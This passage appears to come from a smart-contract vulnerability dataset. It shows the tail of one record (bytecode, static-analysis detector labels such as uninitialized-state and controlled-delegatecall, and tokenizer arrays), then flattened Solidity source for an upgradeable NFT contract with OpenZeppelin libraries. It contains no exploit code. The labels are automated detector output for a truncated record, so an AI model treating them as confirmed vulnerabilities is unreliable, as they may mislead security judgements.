1016040526000815290565b815481835581811511610eb757600302816003028360005260206000209182019101610eb79190610fc8565b505050565b600183019183908215610f425791602002820160005b83821115610f1257835183826101000a81548161ffff021916908361ffff1602179055509260200192600201602081600101049283019260010302610ed2565b8015610f405782816101000a81549061ffff0219169055600201602081600101049283019260010302610f12565b505b50610c37929150611018565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610f8f57805160ff1916838001178555610fbc565b82800160010185558215610fbc579182015b82811115610fbc578251825591602001919060010190610fa1565b50610c37929150611037565b61090991905b80821115610c37576000610fe28282611051565b60018201805473ffffffffffffffffffffffffffffffffffffffff1916905561100f600283016000611058565b50600301610fce565b61090991905b80821115610c3757805461ffff1916815560010161101e565b61090991905b80821115610c37576000815560010161103d565b5060009055565b50805460018160011615610100020316600290046000825580601f1061107e575061109c565b601f01602090049060005260206000209081019061109c9190611037565b505600a165627a7a72305820a2b61a46ff68487c6958b69dee15c17471d446f8b15b7e9777da4a8630da028e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2497, 21057, 2575, 2581, 2094, 2692, 2581, 2094, 2575, 2278, 2683, 2575, 2050, 2575, 2509, 2050, 21486, 16147, 22407, 2629, 2497, 2692, 11057, 16086, 2683, 2475, 2063, 16703, 2050, 2549, 2497, 1013, 1013, 5371, 1024, 8311, 1013, 9353, 2140, 1013, 24264, 20464, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 8278, 24264, 20464, 1063, 3853, 3988, 4697, 1006, 4769, 6656, 11020, 16416, 4263, 1007, 2270, 1025, 3853, 2038, 4842, 25481, 1006, 4769, 2040, 1010, 4769, 2073, 1010, 27507, 16703, 2054, 1010, 27507, 2129, 1007, 2270, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 1013, 1013, 5371, 1024, 8311, 1013, 16293, 1013, 25209, 12119, 2140, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,802
0x95baaDB939345ee9D446B8946aA0B912994cdB9c
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.9; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; contract SnapshotNft is Initializable, ERC721URIStorageUpgradeable, UUPSUpgradeable, AccessControlUpgradeable, PausableUpgradeable { using CountersUpgradeable for CountersUpgradeable.Counter; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet; CountersUpgradeable.Counter private _tokenIds; EnumerableSetUpgradeable.UintSet private _frozenTokenIds; string private _baseUri; address payable private _owner; uint256 public mintCost; uint256 public maxMints; uint256 public whitelistMintCost; bytes32 private _whitelistMerkleRoot; mapping(address => uint256) private _whitelistBalances; bytes32 public constant MOD_ROLE = keccak256("MOD_ROLE"); event PermanentURI(string _value, uint256 indexed _id); event OwnershipTransferred(address previousOwner, address newOwner); function initialize( address owner, address[] calldata mods, string calldata baseUri, uint256 initMaxMints, uint256 initMintCost, uint256 initWhitelistMintCost, bytes32 whitelistMerkleRoot ) public initializer { __ERC721_init("Machinations", "MACH"); __UUPSUpgradeable_init(); __AccessControl_init_unchained(); __Pausable_init_unchained(); __ERC721URIStorage_init_unchained(); _grantRole(DEFAULT_ADMIN_ROLE, owner); for (uint256 i = 0; i < mods.length; ++i) { _grantRole(MOD_ROLE, mods[i]); } _owner = payable(owner); _baseUri = baseUri; maxMints = initMaxMints; mintCost = initMintCost; whitelistMintCost = initWhitelistMintCost; _whitelistMerkleRoot = whitelistMerkleRoot; } /// @custom:oz-upgrades-unsafe-allow constructor constructor() initializer {} // solhint-disable-line no-empty-blocks function setWhitelistMerkleRoot(bytes32 newWhitelistMerkleRoot) public onlyRole(MOD_ROLE) { _whitelistMerkleRoot = newWhitelistMerkleRoot; } function _whitelistLeaf(address address_, uint256 allowance) internal pure returns (bytes32) { return keccak256(abi.encodePacked(allowance, address_)); } function _verifyWhitelist( bytes32[] calldata proof, address address_, uint256 allowance ) internal view returns (bool) { return MerkleProofUpgradeable.verify( proof, _whitelistMerkleRoot, _whitelistLeaf(address_, allowance) ); } function whitelistMint(bytes32[] calldata proof, uint256 allowance) public payable { require(_verifyWhitelist(proof, _msgSender(), allowance), "Whitelist Merkle proof invalid"); require(_whitelistBalances[_msgSender()] < allowance, "Minted max number of whitelisted works"); ++_whitelistBalances[_msgSender()]; _mintWithCost(_msgSender(), whitelistMintCost); } function setWhitelistMintCost(uint256 newMintCost) public onlyRole(MOD_ROLE) { whitelistMintCost = newMintCost; } function mint(address toAddress) public payable { _mintWithCost(toAddress, mintCost); } function _mintWithCost(address toAddress, uint256 cost) internal { require(msg.value >= cost, "Mint payment too low"); uint256 newItemId = _tokenIds.current(); require(newItemId < maxMints, "Max number of mints reached"); _safeMint(toAddress, newItemId); _setTokenURI( newItemId, string(abi.encodePacked( _baseUri, StringsUpgradeable.toString(newItemId), ".json")) ); _tokenIds.increment(); } function setMintCost(uint256 newMintCost) public onlyRole(MOD_ROLE) { mintCost = newMintCost; } function setBaseUri(string calldata baseUri) public onlyRole(MOD_ROLE) { _baseUri = baseUri; } function pause() public onlyRole(MOD_ROLE) { _pause(); } function unpause() public onlyRole(MOD_ROLE) { _unpause(); } function freeze(uint256 tokenId, string calldata tokenUri) public onlyRole(MOD_ROLE) { require(!_frozenTokenIds.contains(tokenId), "Tokens can only be frozen once"); _setTokenURI(tokenId, tokenUri); _frozenTokenIds.add(tokenId); emit PermanentURI(tokenUri, tokenId); } function burn(uint256 tokenId) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "Caller is not owner or approved"); _burn(tokenId); } function batchSafeTransferFrom( address from, address to, uint256[] calldata tokenIds ) public { batchSafeTransferFrom(from, to, tokenIds, ""); } function batchSafeTransferFrom( address from, address to, uint256[] calldata tokenIds, bytes memory _data ) public { for (uint256 i = 0; i < tokenIds.length; ++i) { safeTransferFrom(from, to, tokenIds[i], _data); } } function withdraw() public onlyRole(DEFAULT_ADMIN_ROLE) { AddressUpgradeable.sendValue(_owner, address(this).balance); } function transferOwnership(address newOwner) public onlyRole(DEFAULT_ADMIN_ROLE) { address previousOwner = _owner; _owner = payable(newOwner); emit OwnershipTransferred(previousOwner, newOwner); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable, AccessControlUpgradeable) returns (bool) { return super.supportsInterface(interfaceId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "Token transfer while paused"); } function _authorizeUpgrade(address) internal override onlyRole(DEFAULT_ADMIN_ROLE) {} // solhint-disable-line no-empty-blocks } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/UUPSUpgradeable.sol) pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorageUpgradeable is Initializable, ERC721Upgradeable { function __ERC721URIStorage_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721URIStorage_init_unchained(); } function __ERC721URIStorage_init_unchained() internal onlyInitializing { } using StringsUpgradeable for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProofUpgradeable { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } 